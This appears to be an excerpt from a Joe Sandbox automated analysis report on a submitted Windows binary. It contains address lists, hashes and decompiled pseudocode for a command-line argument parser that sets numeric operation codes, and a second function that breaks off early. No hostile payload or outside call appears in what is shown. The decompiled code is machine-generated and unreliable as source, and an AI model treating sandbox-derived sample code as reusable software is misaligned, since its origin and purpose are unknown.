    0x00a46f3d
    0x00a46f3d
    0x00a46f43
    0x00a46f49
    0x00000000
    0x00000000
    0x00a46f5b
    0x00a46f61
    0x00a46f64
    0x00a46f74
    0x00a46f7b
    0x00a46f7d
    0x00a46fcc
    0x00a46fcc
    0x00a46fcf
    0x00a46fd2
    0x00a46fd9
    0x00a46fdc
    0x00a47030
    0x00a47033
    0x00a4703d
    0x00a47040
    0x00a47047
    0x00a4704a
    0x00a47053
    0x00a47069
    0x00a4706a
    0x00a47072
    0x00a47083
    0x00a47088
    0x00a47088
    0x00a46f34
    0x00a46f37
    0x00a46f37
    0x00a46f3a
    0x00000000
    0x00a46f3a
    0x00000000
    0x00a46fde
    0x00000000
    0x00a46fdc
    0x00000000
    0x00a46f66
    0x00000000
    0x00a46f3d
    0x00a46cce
    0x00a46cce
    0x00a46cd1
    0x00a46cd1
    0x00a472b8
    0x00a472c2
    0x00a472c4
    0x00a472ca
    0x00a472d0
    0x00a472d6
    0x00a472dc
    0x00a472e3
    0x00a472ed
    0x00a472ef
    0x00a472fa
    0x00a472f1
    0x00a472f1
    0x00a472f1
    0x00a47307
    0x00a47314
    0x00a47319
    0x00a47333
    0x00a47338
    0x00a4733b
    0x00a4733e
    0x00a47345
    0x00a47347
    0x00a47352
    0x00a47349
    0x00a47349
    0x00a47349
    0x00a47368
    0x00a4736d
    0x00a4736d
    0x00a472d6
    0x00a47375
    0x00a4737b
    0x00a47388
    0x00a4738e
    0x00a47395
    0x00a4739f
    0x00a473a2
    0x00a473a2
    0x00000000
    0x00a473a2
    0x00a46c32
    0x00a46c38
    0x00a46c3b
    0x00a46c42
    0x00a46c57
    0x00a46c58
    0x00a46c72
    0x00a46c77
    0x00a46c77
    0x00000000
    0x00a46c42
    0x00a46be6
    0x00a46be9
    0x00a46bed
    0x00a46bef
    0x00a46bf2
    0x00a46bf5
    0x00a46bf9
    0x00a46bfb
    0x00a46c00
    0x00a46c00
    0x00a46c0b
    0x00a46c0b
    0x00a46bfb
    0x00000000
    0x00a46c11
    0x00a46b66
    0x00a46b6b
    0x00a46b72
    0x00a46b92
    0x00a46b9c
    0x00a46ba6
    0x00a46bb0
    0x00a46bc4
    0x00a46bd4
    0x00000000
    0x00a46b74
    0x00a46b77
    0x00a46b81
    0x00000000
    0x00a46b81
    0x00a46b72
    0x00a473ae
    0x00a473b9

    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CleanupSleep
    • String ID: Current operation : %s$Current operation : %s$ %s M%X $ %s M%X $ %s M%X $ %s M%X $ %s M%X %d$ %s M%X %d$ %s M%X SGCNT %d $ %s ST%X %d
    • API String ID: 1660135218-252576147
    • Opcode ID: a8110e77cdd7e6720f1244c628d0c95c97307ff2fb3ef1e698539af217959f57
    • Instruction ID: 4213964cf15ea2e583c945933221a4b08215d9f0900a9debfd21557d9aff9335
    • Opcode Fuzzy Hash: a8110e77cdd7e6720f1244c628d0c95c97307ff2fb3ef1e698539af217959f57
    • Instruction Fuzzy Hash: F3523178A00244AFCB04DF54C595EEEBBB5BF89314F148198F9499F392C775EA81CB90
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 99%
    			E00A44640(void* __eax, short* _a4) {
    				signed int _v8;
    				signed int _v12;
    				void* _v16;
    				int _v20;
    				signed int _v24;
    				intOrPtr _v28;
    				signed char _v29;
    				signed char _v30;
    				signed char _v31;
    				intOrPtr _v36;
    				signed int _v40;
    				signed int _v44;
    				signed int _v48;
    				signed int _v52;
    				signed int _v56;
    				signed int _v60;
    				signed int _v64;
    				signed int _v68;
    				signed int _v72;
    				signed int _v76;
    				signed int _v80;
    				signed int _v84;
    				intOrPtr _v88;
    				intOrPtr _v92;
    				intOrPtr _v96;
    				intOrPtr _v100;
    				intOrPtr _v104;
    				intOrPtr _v108;
    				intOrPtr _v112;
    				intOrPtr _v116;
    				intOrPtr _v120;
    				intOrPtr _v124;
    				intOrPtr _v128;
    				intOrPtr _v132;
    				intOrPtr _v136;
    				intOrPtr _v140;
    				intOrPtr _v144;
    				intOrPtr _v148;
    				intOrPtr _v152;
    				intOrPtr _v156;
    				intOrPtr _v160;
    				char* _v164;
    				intOrPtr _v168;
    				char* _v172;
    				intOrPtr _v176;
    				char* _v180;
    				int _v184;
    				intOrPtr _v188;
    				char* _v192;
    				int _v196;
    				intOrPtr _v200;
    				char* _v204;
    				int _v208;
    				intOrPtr _v212;
    				char* _v216;
    				intOrPtr _v220;
    				char* _v224;
    				PWCHAR* _t460;
    				signed char _t464;
    				intOrPtr _t467;
    				signed int _t474;
    				signed int _t476;
    				void* _t479;
    				void* _t485;
    				char* _t505;
    				intOrPtr _t595;
    				signed int _t601;
    				void* _t746;
    				void* _t747;
    				void* _t748;
    
    				if(_a4 == 0) {
    					return __eax;
    				}
    				_v16 = 0;
    				_v20 = 0;
    				_v8 = 0;
    				_v12 = 0;
    				_v48 = 1;
    				_v28 = 0x6800;
    				_t460 = CommandLineToArgvW(_a4,  &_v20); // executed
    				_v16 = _t460;
    				__eflags = _v16;
    				if(_v16 != 0) {
    					_v8 = 0;
    					while(1) {
    						__eflags = _v8 - _v20;
    						if(_v8 >= _v20) {
    							break;
    						}
    						_t584 = _v16;
    						_t464 = E00A432A0( *((intOrPtr*)(_v16 + _v8 * 4)));
    						__eflags = _t464 & 0x000000ff;
    						if((_t464 & 0x000000ff) == 0) {
    							L138:
    							continue;
    						}
    						_v24 = E00A42420(_t584, 0x48);
    						__eflags = _v24;
    						if(_v24 == 0) {
    							goto L138;
    						}
    						_v28 = 0x6800;
    						_t467 = E00A42420(_t584, 0x10d70); // executed
    						_v36 = _t467;
    						_v12 = 1;
    						_v88 =  *((intOrPtr*)(_v16 + _v8 * 4));
    						 *_v24 = E00A43360(_v88);
    						_v8 = _v8 + 1;
    						__eflags = _v8 - _v20;
    						if(_v8 >= _v20) {
    							L10:
    							_v28 = 0x6802;
    							_v12 = 0;
    							L11:
    							__eflags = _v8 - _v20;
    							if(_v8 >= _v20) {
    								L14:
    								_v28 = 0x6803;
    								_v12 = 0;
    								L15:
    								__eflags = _v8 - _v20;
    								if(_v8 >= _v20) {
    									L18:
    									_v28 = 0x6804;
    									_v12 = 0;
    									L19:
    									_t474 = E00A43A90(_v24,  *((intOrPtr*)(_v24 + 0xc)),  *((intOrPtr*)(_v24 + 0xc)), 0xa49c60);
    									_t747 = _t746 + 8;
    									__eflags = _t474;
    									if(_t474 != 0) {
    										L28:
    										__eflags = _v8 - _v20;
    										if(_v8 >= _v20) {
    											L31:
    											_v12 = 0;
    											L32:
    											_t476 = E00A43A90(_v24,  *((intOrPtr*)(_v24 + 0x18)),  *((intOrPtr*)(_v24 + 0x18)), 0xa49c64);
    											_t748 = _t747 + 8;
    											__eflags = _t476;
    											if(_t476 != 0) {
    												L69:
    												__eflags = _v8 - _v20;
    												if(_v8 >= _v20) {
    													L72:
    													_v28 = 0x680f;
    													_v12 = 0;
    													L73:
    													__eflags = _v8 - _v20;
    													if(_v8 >= _v20) {
    														L76:
    														_v28 = 0x6810;
    														_v12 = 0;
    														L77:
    														_t479 = E00A43E50(_v24, _v36);
    														__eflags = _t479 - 0x6800;
    														if(_t479 == 0x6800) {
    															__eflags = _v48;
    															if(_v48 == 0) {
    																L134:
    																E00A43CB0(_v24);
    																__eflags = _v12;
    																if(_v12 == 0) {
    																	L137:
    																	_push(_v28);
    																	E00A43A00(__eflags, E00A436C0(_v28), " T%d %h\n", _v8);
    																	_t746 = _t748 + 0x10;
    																	goto L138;
    																}
    																_t595 = _v36;
    																__eflags =  *(_t595 + 0x10018) & 0x000000ff;
    																if(( *(_t595 + 0x10018) & 0x000000ff) != 0) {
    																	goto L137;
    																}
    																_push(_v28);
    																_t485 = E00A436C0(_v8); // executed
    																E00A43A00(__eflags, _t485, " T%d %08x\n", _v8); // executed
    																_t746 = _t748 + 0x10;
    																E00A47720(__eflags, _v36); // executed
    																E00A42AC0( *0xa4b05c, E00A44620, _v36, 0xa); // executed
    																goto L138;
    															}
    															_v40 = 0;
    															__eflags = _v8 - _v20;
    															if(_v8 >= _v20) {
    																L83:
    																_v12 = 0;
    																L84:
    																__eflags = _v40;
    																if(_v40 > 0) {
    																	E00A41E10(_v36, _v40);
    																}
    																_v44 = 0;
    																while(1) {
    																	__eflags = _v44 - _v40;
    																	if(_v44 >= _v40) {
    																		goto L134;
    																	}
    																	_v84 = 0;
    																	_v72 = 0;
    																	_v68 = 0;
    																	_v64 = 0;
    																	_v80 = 0;
    																	_v76 = 0;
    																	__eflags = _v8 - _v20;
    																	if(_v8 >= _v20) {
    																		L92:
    																		_v12 = 0;
    																		L93:
    																		__eflags = _v8 - _v20;
    																		if(_v8 >= _v20) {
    																			L99:
    																			_v12 = 0;
    																			L100:
    																			__eflags = _v8 - _v20;
    																			if(_v8 >= _v20) {
    																				L106:
    																				_v12 = 0;
    																				L107:
    																				__eflags = _v8 - _v20;
    																				if(_v8 >= _v20) {
    																					L113:
    																					_v12 = 0;
    																					L114:
    																					__eflags = _v8 - _v20;
    																					if(_v8 >= _v20) {
    																						L117:
    																						_v12 = 0;
    																						L118:
    																						__eflags = _v8 - _v20;
    																						if(_v8 >= _v20) {
    																							L121:
    																							_v12 = 0;
    																							L122:
    																							__eflags = _v12;
    																							if(_v12 != 0) {
    																								__eflags = _v64;
    																								if(_v64 == 0) {
    																									_v31 = 0;
    																								} else {
    																									_v31 = 1;
    																								}
    																								__eflags = _v68;
    																								if(_v68 == 0) {
    																									_v29 = 0;
    																								} else {
    																									_v29 = 1;
    																								}
    																								__eflags = _v72;
    																								if(_v72 == 0) {
    																									_v30 = 0;
    																								} else {
    																									_v30 = 1;
    																								}
    																								E00A41EE0(_v36, _v84, _v30 & 0x000000ff, _v29 & 0x000000ff, _v31 & 0x000000ff, _v80, _v76);
    																							}
    																							_t601 = _v44 + 1;
    																							__eflags = _t601;
    																							_v44 = _t601;
    																							continue;
    																						}
    																						__eflags = _v12;
    																						if(_v12 == 0) {
    																							goto L121;
    																						}
    																						_v220 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																						_v224 = E00A43360(_v220);
    																						_v76 = StrToIntA(_v224);
    																						_v8 = _v8 + 1;
    																						goto L122;
    																					}
    																					__eflags = _v12;
    																					if(_v12 == 0) {
    																						goto L117;
    																					}
    																					_v212 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																					_v216 = E00A43360(_v212);
    																					_v80 = StrToIntA(_v216);
    																					_v8 = _v8 + 1;
    																					goto L118;
    																				}
    																				__eflags = _v12;
    																				if(_v12 == 0) {
    																					goto L113;
    																				}
    																				_v200 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																				_t505 = E00A43360(_v200); // executed
    																				_v204 = _t505;
    																				_v208 = StrToIntA(_v204);
    																				_v8 = _v8 + 1;
    																				__eflags = _v208 - 1;
    																				if(_v208 != 1) {
    																					_v60 = 0;
    																				} else {
    																					_v60 = 1;
    																				}
    																				_v64 = _v60;
    																				goto L114;
    																			}
    																			__eflags = _v12;
    																			if(_v12 == 0) {
    																				goto L106;
    																			}
    																			_v188 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																			_v192 = E00A43360(_v188);
    																			_v196 = StrToIntA(_v192);
    																			_v8 = _v8 + 1;
    																			__eflags = _v196 - 1;
    																			if(_v196 != 1) {
    																				_v56 = 0;
    																			} else {
    																				_v56 = 1;
    																			}
    																			_v68 = _v56;
    																			goto L107;
    																		}
    																		__eflags = _v12;
    																		if(_v12 == 0) {
    																			goto L99;
    																		}
    																		_v176 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																		_v180 = E00A43360(_v176);
    																		_v184 = StrToIntA(_v180);
    																		_v8 = _v8 + 1;
    																		__eflags = _v184 - 1;
    																		if(_v184 != 1) {
    																			_v52 = 0;
    																		} else {
    																			_v52 = 1;
    																		}
    																		_v72 = _v52;
    																		goto L100;
    																	}
    																	__eflags = _v12;
    																	if(_v12 == 0) {
    																		goto L92;
    																	}
    																	_v168 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																	_v172 = E00A43360(_v168);
    																	_v84 = StrToIntA(_v172);
    																	_v8 = _v8 + 1;
    																	goto L93;
    																}
    																goto L134;
    															}
    															__eflags = _v12;
    															if(_v12 == 0) {
    																goto L83;
    															}
    															_v160 =  *((intOrPtr*)(_v16 + _v8 * 4));
    															_v164 = E00A43360(_v160);
    															_v40 = StrToIntA(_v164);
    															_v8 = _v8 + 1;
    															goto L84;
    														}
    														goto L134;
    													}
    													__eflags = _v12;
    													if(_v12 == 0) {
    														goto L76;
    													}
    													_v156 =  *((intOrPtr*)(_v16 + _v8 * 4));
    													 *((intOrPtr*)(_v24 + 0x44)) = E00A43360(_v156);
    													_v8 = _v8 + 1;
    													goto L77;
    												}
    												__eflags = _v12;
    												if(_v12 == 0) {
    													goto L72;
    												}
    												_v152 =  *((intOrPtr*)(_v16 + _v8 * 4));
    												 *((intOrPtr*)(_v24 + 0x40)) = E00A43360(_v152);
    												_v8 = _v8 + 1;
    												goto L73;
    											}
    											__eflags = _v8 - _v20;
    											if(_v8 >= _v20) {
    												L36:
    												_v28 = 0x6808;
    												_v12 = 0;
    												L37:
    												__eflags = _v8 - _v20;
    												if(_v8 >= _v20) {
    													L40:
    													_v28 = 0x6809;
    													_v12 = 0;
    													L41:
    													__eflags = _v8 - _v20;
    													if(_v8 >= _v20) {
    														L44:
    														_v28 = 0x680a;
    														_v12 = 0;
    														L45:
    														__eflags = _v8 - _v20;
    														if(_v8 >= _v20) {
    															L48:
    															_v28 = 0x6801;
    															_v12 = 0;
    															L49:
    															__eflags = _v8 - _v20;
    															if(_v8 >= _v20) {
    																L52:
    																_v28 = 0x680b;
    																_v12 = 0;
    																L53:
    																__eflags = _v8 - _v20;
    																if(_v8 >= _v20) {
    																	L56:
    																	_v28 = 0x680c;
    																	_v12 = 0;
    																	L57:
    																	__eflags = _v8 - _v20;
    																	if(_v8 >= _v20) {
    																		L60:
    																		_v28 = 0x680d;
    																		_v12 = 0;
    																		L61:
    																		__eflags = _v8 - _v20;
    																		if(_v8 >= _v20) {
    																			L64:
    																			_v28 = 0x6811;
    																			_v12 = 0;
    																			L65:
    																			__eflags = _v8 - _v20;
    																			if(_v8 >= _v20) {
    																				L68:
    																				_v28 = 0x680e;
    																				_v12 = 0;
    																				goto L69;
    																			}
    																			__eflags = _v12;
    																			if(_v12 == 0) {
    																				goto L68;
    																			}
    																			_v148 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																			 *((intOrPtr*)(_v24 + 0x3c)) = E00A43360(_v148);
    																			_v8 = _v8 + 1;
    																			goto L69;
    																		}
    																		__eflags = _v12;
    																		if(_v12 == 0) {
    																			goto L64;
    																		}
    																		_v144 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																		 *((intOrPtr*)(_v24 + 0x38)) = E00A43360(_v144);
    																		_v8 = _v8 + 1;
    																		goto L65;
    																	}
    																	__eflags = _v12;
    																	if(_v12 == 0) {
    																		goto L60;
    																	}
    																	_v140 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																	 *((intOrPtr*)(_v24 + 0x34)) = E00A43360(_v140);
    																	_v8 = _v8 + 1;
    																	goto L61;
    																}
    																__eflags = _v12;
    																if(_v12 == 0) {
    																	goto L56;
    																}
    																_v136 =  *((intOrPtr*)(_v16 + _v8 * 4));
    																 *((intOrPtr*)(_v24 + 0x30)) = E00A43360(_v136);
    																_v8 = _v8 + 1;
    																goto L57;
    															}
    															__eflags = _v12;
    															if(_v12 == 0) {
    																goto L52;
    															}
    															_v132 =  *((intOrPtr*)(_v16 + _v8 * 4));
    															 *((intOrPtr*)(_v24 + 0x2c)) = E00A43360(_v132);
    															_v8 = _v8 + 1;
    															goto L53;
    														}
    														__eflags = _v12;
    														if(_v12 == 0) {
    															goto L48;
    														}
    														_v128 =  *((intOrPtr*)(_v16 + _v8 * 4));
    														 *((intOrPtr*)(_v24 + 0x28)) = E00A43360(_v128);
    														_v8 = _v8 + 1;
    														goto L49;
    													}
    													__eflags = _v12;
    													if(_v12 == 0) {
    														goto L44;
    													}
    													_v124 =  *((intOrPtr*)(_v16 + _v8 * 4));
    													 *((intOrPtr*)(_v24 + 0x24)) = E00A43360(_v124);
    													_v8 = _v8 + 1;
    													goto L45;
    												}
    												__eflags = _v12;
    												if(_v12 == 0) {
    													goto L40;
    												}
    												_v120 =  *((intOrPtr*)(_v16 + _v8 * 4));
    												 *((intOrPtr*)(_v24 + 0x20)) = E00A43360(_v120);
    												_v8 = _v8 + 1;
    												goto L41;
    											}
    											__eflags = _v12;
    											if(_v12 == 0) {
    												goto L36;
    											}
    											_v116 =  *((intOrPtr*)(_v16 + _v8 * 4));
    											 *((intOrPtr*)(_v24 + 0x1c)) = E00A43360(_v116);
    											_v8 = _v8 + 1;
    											goto L37;
    										}
    										__eflags = _v12;
    										if(_v12 == 0) {
    											goto L31;
    										}
    										_v112 =  *((intOrPtr*)(_v16 + _v8 * 4));
    										 *((intOrPtr*)(_v24 + 0x18)) = E00A43360(_v112);
    										_v8 = _v8 + 1;
    										goto L32;
    									}
    									_v48 = 0;
    									__eflags = _v8 - _v20;
    									if(_v8 >= _v20) {
    										L23:
    										_v28 = 0x6805;
    										_v12 = 0;
    										L24:
    										__eflags = _v8 - _v20;
    										if(_v8 >= _v20) {
    											L27:
    											_v28 = 0x6806;
    											_v12 = 0;
    											goto L28;
    										}
    										__eflags = _v12;
    										if(_v12 == 0) {
    											goto L27;
    										}
    										_v108 =  *((intOrPtr*)(_v16 + _v8 * 4));
    										 *((intOrPtr*)(_v24 + 0x14)) = E00A43360(_v108);
    										_v8 = _v8 + 1;
    										goto L28;
    									}
    									__eflags = _v12;
    									if(_v12 == 0) {
    										goto L23;
    									}
    									_v104 =  *((intOrPtr*)(_v16 + _v8 * 4));
    									 *((intOrPtr*)(_v24 + 0x10)) = E00A43360(_v104);
    									_v8 = _v8 + 1;
    									goto L24;
    								}
    								__eflags = _v12;
    								if(_v12 == 0) {
    									goto L18;
    								}
    								_v100 =  *((intOrPtr*)(_v16 + _v8 * 4));
    								 *((intOrPtr*)(_v24 + 0xc)) = E00A43360(_v100);
    								_v8 = _v8 + 1;
    								goto L19;
    							}
    							__eflags = _v12;
    							if(_v12 == 0) {
    								goto L14;
    							}
    							_v96 =  *((intOrPtr*)(_v16 + _v8 * 4));
    							 *((intOrPtr*)(_v24 + 8)) = E00A43360(_v96);
    							_v8 = _v8 + 1;
    							goto L15;
    						}
    						__eflags = _v12;
    						if(_v12 == 0) {
    							goto L10;
    						}
    						_v92 =  *((intOrPtr*)(_v16 + _v8 * 4));
    						 *((intOrPtr*)(_v24 + 4)) = E00A43360(_v92);
    						_v8 = _v8 + 1;
    						goto L11;
    					}
    					return LocalFree(_v16);
    				}
    				return _t460;
    			}









































































    0x00a4464d
    0x00000000
    0x00000000
    0x00a44654
    0x00a4465b
    0x00a44662
    0x00a44669
    0x00a44670
    0x00a44677
    0x00a44686
    0x00a4468c
    0x00a4468f
    0x00a44693
    0x00a44699
    0x00a446a0
    0x00a446a3
    0x00a446a6
    0x00000000
    0x00000000
    0x00a446af
    0x00a446b6
    0x00a446be
    0x00a446c0
    0x00a44fce
    0x00000000
    0x00a44fce
    0x00a446cd
    0x00a446d0
    0x00a446d4
    0x00000000
    0x00000000
    0x00a446da
    0x00a446e6
    0x00a446eb
    0x00a446ee
    0x00a446fe
    0x00a4470d
    0x00a44715
    0x00a4471b
    0x00a4471e
    0x00a4474c
    0x00a4474c
    0x00a44753
    0x00a4475a
    0x00a4475d
    0x00a44760
    0x00a4478e
    0x00a4478e
    0x00a44795
    0x00a4479c
    0x00a4479f
    0x00a447a2
    0x00a447d0
    0x00a447d0
    0x00a447d7
    0x00a447de
    0x00a447ea
    0x00a447ef
    0x00a447f2
    0x00a447f4
    0x00a44885
    0x00a44888
    0x00a4488b
    0x00a448b9
    0x00a448b9
    0x00a448c0
    0x00a448cc
    0x00a448d1
    0x00a448d4
    0x00a448d6
    0x00a44b46
    0x00a44b49
    0x00a44b4c
    0x00a44b80
    0x00a44b80
    0x00a44b87
    0x00a44b8e
    0x00a44b91
    0x00a44b94
    0x00a44bc8
    0x00a44bc8
    0x00a44bcf
    0x00a44bd6
    0x00a44bde
    0x00a44be3
    0x00a44be8
    0x00a44bf4
    0x00a44bf8
    0x00a44f5a
    0x00a44f5e
    0x00a44f63
    0x00a44f67
    0x00a44fb3
    0x00a44fb6
    0x00a44fc6
    0x00a44fcb
    0x00000000
    0x00a44fcb
    0x00a44f69
    0x00a44f73
    0x00a44f75
    0x00000000
    0x00000000
    0x00a44f7a
    0x00a44f84
    0x00a44f8a
    0x00a44f8f
    0x00a44f96
    0x00a44fac
    0x00000000
    0x00a44fac
    0x00a44bfe
    0x00a44c08
    0x00a44c0b
    0x00a44c4f
    0x00a44c4f
    0x00a44c56
    0x00a44c56
    0x00a44c5a
    0x00a44c63
    0x00a44c63
    0x00a44c68
    0x00a44c7a
    0x00a44c7d
    0x00a44c80
    0x00000000
    0x00000000
    0x00a44c86
    0x00a44c8d
    0x00a44c94
    0x00a44c9b
    0x00a44ca2
    0x00a44ca9
    0x00a44cb3
    0x00a44cb6
    0x00a44cfa
    0x00a44cfa
    0x00a44d01
    0x00a44d04
    0x00a44d07
    0x00a44d6d
    0x00a44d6d
    0x00a44d74
    0x00a44d77
    0x00a44d7a
    0x00a44de0
    0x00a44de0
    0x00a44de7
    0x00a44dea
    0x00a44ded
    0x00a44e53
    0x00a44e53
    0x00a44e5a
    0x00a44e5d
    0x00a44e60
    0x00a44ea4
    0x00a44ea4
    0x00a44eab
    0x00a44eae
    0x00a44eb1
    0x00a44ef5
    0x00a44ef5
    0x00a44efc
    0x00a44efc
    0x00a44f00
    0x00a44f02
    0x00a44f06
    0x00a44f0e
    0x00a44f08
    0x00a44f08
    0x00a44f08
    0x00a44f12
    0x00a44f16
    0x00a44f1e
    0x00a44f18
    0x00a44f18
    0x00a44f18
    0x00a44f22
    0x00a44f26
    0x00a44f2e
    0x00a44f28
    0x00a44f28
    0x00a44f28
    0x00a44f50
    0x00a44f50
    0x00a44c74
    0x00a44c74
    0x00a44c77
    0x00000000
    0x00a44c77
    0x00a44eb3
    0x00a44eb7
    0x00000000
    0x00000000
    0x00a44ec2
    0x00a44ed4
    0x00a44ee7
    0x00a44ef0
    0x00000000
    0x00a44ef0
    0x00a44e62
    0x00a44e66
    0x00000000
    0x00000000
    0x00a44e71
    0x00a44e83
    0x00a44e96
    0x00a44e9f
    0x00000000
    0x00a44e9f
    0x00a44def
    0x00a44df3
    0x00000000
    0x00000000
    0x00a44dfe
    0x00a44e0b
    0x00a44e10
    0x00a44e23
    0x00a44e2f
    0x00a44e32
    0x00a44e39
    0x00a44e44
    0x00a44e3b
    0x00a44e3b
    0x00a44e3b
    0x00a44e4e
    0x00000000
    0x00a44e4e
    0x00a44d7c
    0x00a44d80
    0x00000000
    0x00000000
    0x00a44d8b
    0x00a44d9d
    0x00a44db0
    0x00a44dbc
    0x00a44dbf
    0x00a44dc6
    0x00a44dd1
    0x00a44dc8
    0x00a44dc8
    0x00a44dc8
    0x00a44ddb
    0x00000000
    0x00a44ddb
    0x00a44d09
    0x00a44d0d
    0x00000000
    0x00000000
    0x00a44d18
    0x00a44d2a
    0x00a44d3d
    0x00a44d49
    0x00a44d4c
    0x00a44d53
    0x00a44d5e
    0x00a44d55
    0x00a44d55
    0x00a44d55
    0x00a44d68
    0x00000000
    0x00a44d68
    0x00a44cb8
    0x00a44cbc
    0x00000000
    0x00000000
    0x00a44cc7
    0x00a44cd9
    0x00a44cec
    0x00a44cf5
    0x00000000
    0x00a44cf5
    0x00000000
    0x00a44c7a
    0x00a44c0d
    0x00a44c11
    0x00000000
    0x00000000
    0x00a44c1c
    0x00a44c2e
    0x00a44c41
    0x00a44c4a
    0x00000000
    0x00a44c4a
    0x00000000
    0x00a44bea
    0x00a44b96
    0x00a44b9a
    0x00000000
    0x00000000
    0x00a44ba5
    0x00a44bba
    0x00a44bc3
    0x00000000
    0x00a44bc3
    0x00a44b4e
    0x00a44b52
    0x00000000
    0x00000000
    0x00a44b5d
    0x00a44b72
    0x00a44b7b
    0x00000000
    0x00a44b7b
    0x00a448df
    0x00a448e2
    0x00a44910
    0x00a44910
    0x00a44917
    0x00a4491e
    0x00a44921
    0x00a44924
    0x00a44952
    0x00a44952
    0x00a44959
    0x00a44960
    0x00a44963
    0x00a44966
    0x00a44994
    0x00a44994
    0x00a4499b
    0x00a449a2
    0x00a449a5
    0x00a449a8
    0x00a449d6
    0x00a449d6
    0x00a449dd
    0x00a449e4
    0x00a449e7
    0x00a449ea
    0x00a44a18
    0x00a44a18
    0x00a44a1f
    0x00a44a26
    0x00a44a29
    0x00a44a2c
    0x00a44a60
    0x00a44a60
    0x00a44a67
    0x00a44a6e
    0x00a44a71
    0x00a44a74
    0x00a44aa8
    0x00a44aa8
    0x00a44aaf
    0x00a44ab6
    0x00a44ab9
    0x00a44abc
    0x00a44af0
    0x00a44af0
    0x00a44af7
    0x00a44afe
    0x00a44b01
    0x00a44b04
    0x00a44b38
    0x00a44b38
    0x00a44b3f
    0x00000000
    0x00a44b3f
    0x00a44b06
    0x00a44b0a
    0x00000000
    0x00000000
    0x00a44b15
    0x00a44b2a
    0x00a44b33
    0x00000000
    0x00a44b33
    0x00a44abe
    0x00a44ac2
    0x00000000
    0x00000000
    0x00a44acd
    0x00a44ae2
    0x00a44aeb
    0x00000000
    0x00a44aeb
    0x00a44a76
    0x00a44a7a
    0x00000000
    0x00000000
    0x00a44a85
    0x00a44a9a
    0x00a44aa3
    0x00000000
    0x00a44aa3
    0x00a44a2e
    0x00a44a32
    0x00000000
    0x00000000
    0x00a44a3d
    0x00a44a52
    0x00a44a5b
    0x00000000
    0x00a44a5b
    0x00a449ec
    0x00a449f0
    0x00000000
    0x00000000
    0x00a449fb
    0x00a44a0a
    0x00a44a13
    0x00000000
    0x00a44a13
    0x00a449aa
    0x00a449ae
    0x00000000
    0x00000000
    0x00a449b9
    0x00a449c8
    0x00a449d1
    0x00000000
    0x00a449d1
    0x00a44968
    0x00a4496c
    0x00000000
    0x00000000
    0x00a44977
    0x00a44986
    0x00a4498f
    0x00000000
    0x00a4498f
    0x00a44926
    0x00a4492a
    0x00000000
    0x00000000
    0x00a44935
    0x00a44944
    0x00a4494d
    0x00000000
    0x00a4494d
    0x00a448e4
    0x00a448e8
    0x00000000
    0x00000000
    0x00a448f3
    0x00a44902
    0x00a4490b
    0x00000000
    0x00a4490b
    0x00a4488d
    0x00a44891
    0x00000000
    0x00000000
    0x00a4489c
    0x00a448ab
    0x00a448b4
    0x00000000
    0x00a448b4
    0x00a447fa
    0x00a44804
    0x00a44807
    0x00a44835
    0x00a44835
    0x00a4483c
    0x00a44843
    0x00a44846
    0x00a44849
    0x00a44877
    0x00a44877
    0x00a4487e
    0x00000000
    0x00a4487e
    0x00a4484b
    0x00a4484f
    0x00000000
    0x00000000
    0x00a4485a
    0x00a44869
    0x00a44872
    0x00000000
    0x00a44872
    0x00a44809
    0x00a4480d
    0x00000000
    0x00000000
    0x00a44818
    0x00a44827
    0x00a44830
    0x00000000
    0x00a44830
    0x00a447a4
    0x00a447a8
    0x00000000
    0x00000000
    0x00a447b3
    0x00a447c2
    0x00a447cb
    0x00000000
    0x00a447cb
    0x00a44762
    0x00a44766
    0x00000000
    0x00000000
    0x00a44771
    0x00a44780
    0x00a44789
    0x00000000
    0x00a44789
    0x00a44720
    0x00a44724
    0x00000000
    0x00000000
    0x00a4472f
    0x00a4473e
    0x00a44747
    0x00000000
    0x00a44747
    0x00000000
    0x00a44fd7
    0x00a44fe0

    APIs
    • CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00A44686
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: ArgvCommandLine
    • String ID: h$ T%d %08x$ T%d %h
    • API String ID: 3176063776-1487705185
    • Opcode ID: 6ed63c6a3e52530efdd1efe20ed1d197e5bf36ee9d5619480f7cdbc4e5264dd4
    • Instruction ID: cc5a18518350efddaa196a4537fa4eaab61915aa753055442381dd0ece840443
    • Opcode Fuzzy Hash: 6ed63c6a3e52530efdd1efe20ed1d197e5bf36ee9d5619480f7cdbc4e5264dd4
    • Instruction Fuzzy Hash: 0E729EB8E00219EFDF14CF94C595BAEBBB2FB88304F248599D405AB241C775AE85DF90
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    C-Code - Quality: 100%
    			E00A47720(void* __eflags, intOrPtr _a4) {
    				char _v5;
    				char _v6;
    				long _v12;
    				CHAR* _v16;
    				CHAR* _v20;
